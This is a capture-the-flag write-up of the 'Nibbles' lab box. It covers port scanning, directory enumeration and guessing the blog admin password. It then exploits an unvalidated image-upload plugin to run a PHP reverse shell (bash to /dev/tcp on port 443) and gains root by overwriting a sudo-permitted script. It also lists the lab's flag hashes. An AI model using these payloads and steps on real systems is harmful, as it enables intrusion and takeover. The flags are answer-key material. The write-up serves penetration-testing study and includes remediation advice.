Nmap Results
# Nmap 7.93 scan initiated Wed Mar 29 13:19:01 2023 as: nmap -Pn -p- -T5 -A -oN scan.txt 10.129.239.241
Nmap scan report for 10.129.239.241
Host is up (0.014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4f8ade8f80477decf150d630a187e49 (RSA)
| 256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA)
|_ 256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 3.18 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 199/tcp)
HOP RTT ADDRESS
1 12.41 ms 10.10.14.1
2 12.51 ms 10.129.239.241
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar 29 13:19:27 2023 -- 1 IP address (1 host up) scanned in 27.26 seconds
Service Enumeration
TCP/80



Not much to go off of here. Time do some file and directory enumeration.
Gobuster Enumeration
gobuster dir -u http://10.129.239.241/nibbleblog/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,html -r -t 100 -o gobuster.txt
/README (Status: 200) [Size: 4628]
/admin (Status: 200) [Size: 2130]
/admin.php (Status: 200) [Size: 1401]
/content (Status: 200) [Size: 1356]
/feed.php (Status: 200) [Size: 302]
/index.php (Status: 200) [Size: 2987]
/install.php (Status: 200) [Size: 78]
/languages (Status: 200) [Size: 3170]
/plugins (Status: 200) [Size: 3780]
/sitemap.php (Status: 200) [Size: 402]
/themes (Status: 200) [Size: 1744]
/update.php (Status: 200) [Size: 1622]
Interesting Findings


Looks like we may be able to upload a file to the server and get code execution. The exploit shown above is a Metasploit payload. Let's see if we can make sense of the exploit and do it manually.
searchsploit -m 38489
This is an authenticated exploit that uploads a PHP payload as an image file in the My Image plugin. Looking at this exploit, it seems the uploader does not perform any validation on the input. The file is uploaded to /content/private/plugins/my_image/image.ext
, as the server renames the file to image
and uses whichever file extension — .ext
— you used with your payload.
So, we're going to have hunt for a potential username and try and bruteforce our way into admin.php
. There's a good chance a possible username is nibbles
, but let's do some due diligence.
The file http://10.129.239.241/nibbleblog/content/private/config.xml
seems to have a possible username in it:
<notification_email_to type="string">admin@nibbles.com</notification_email_to>
Finding the Admin Password
I — surprisingly — managed to guess the password into the blog on the second try:
admin:admin
— nopeadmin:nibbles
— 🎉

Abusing the Plugin
Go to Plugins and find the My image plugin.

Click Configure
. Now, let's create a quick .txt
file for testing to make sure the server will process the input.
echo '0xBEN was here' > pwn.txt



We got some warnings from a few scripts that tried to process the file as an image — sad trumpet noises. Let's see if the file has been uploaded as image.txt
in the target path.
curl http://10.129.239.241/nibbleblog/content/private/plugins/my_image/image.txt

Exploit
The system administrator configured the Nibbles blog admin console with a very weak and guessable password. This allowed me to gain administrative access to the blog where I was able to exploit a vulnerable PHP script that does not validate the user is truly passing in an image file. Using this exploit, I am able to pass in a PHP script and achieve code execution on the server.
The recommended fix would be to use a strong password on the admin panel — and multifactor authentication if possible — as well as patch the vulnerable script to ensure the user input is validated.
Reverse Shell via PHP Script
PHP Reverse Shell Source Code
I'm going to use the PHP reverse shell found here:

NOTE: Be sure to update the PHP source code with your VPN IP address and the TCP port you intend to listen on.
For example:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/x.x.x.x/443 0>&1'");
Shellz Yeah! Let's Go!
Start a Listener
sudo rlwrap nc -lnvp 443
Exploit
In the same fashion as before, choose your PHP script file using the plugin's file selector.

Then, click Save changes
. Once you've uploaded the file, let's see if the payload works:
curl http://10.129.239.241/nibbleblog/content/private/plugins/my_image/image.php

Stabilize Your Shell
python3 -c "import pty; pty.spawn('/bin/bash')"
Post-Exploit Enumeration
Current User
Click to expand
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
OS & Kernel
Click to expand
NAME="Ubuntu"
VERSION="16.04.3 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.3 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
Users
Click to expand
nibbler:x:1001:1001::/home/nibbler:
Groups
Click to expand
nibbler:x:1001:
Network
Interfaces
ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:61:e5 brd ff:ff:ff:ff:ff:ff
inet 10.129.239.241/16 brd 10.129.255.255 scope global ens192
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:61e5/64 scope global mngtmpaddr dynamic
valid_lft 86394sec preferred_lft 14394sec
inet6 fe80::250:56ff:feb9:61e5/64 scope link
valid_lft forever preferred_lft forever
ARP Table
N/A
Routes
N/A
Open Ports
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
Ping Sweep
N/A
Processes
Click to expand
Mo interesting processes.
Services
Click to expand
apache2.service loaded active running LSB: Apache2 web server
mysql.service loaded active running MySQL Community Server
Scheduled Tasks
Click to expand
No cron jobs.
Interesting Files
/home/nibbler/personal.zip
unzip personal.zip
Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh
Privilege Escalation
It's pretty clear based on the enumeration that the privilege escalation path is the monitor.sh
script run with sudo
.


We own that file, so we can overwrite the script contents and use the sudo
privileges to spawn a Bash sub-process as the root
user.
cd /home/nibbler/personal/stuff
cp monitor.sh monitor.sh.orig
echo '/bin/bash -ip' > monitor.sh
sudo ./monitor.sh

Flags
User
ed1e403fff06147d552a471d804e8434
Root
8595c9efd73cf807c4d0af0709493960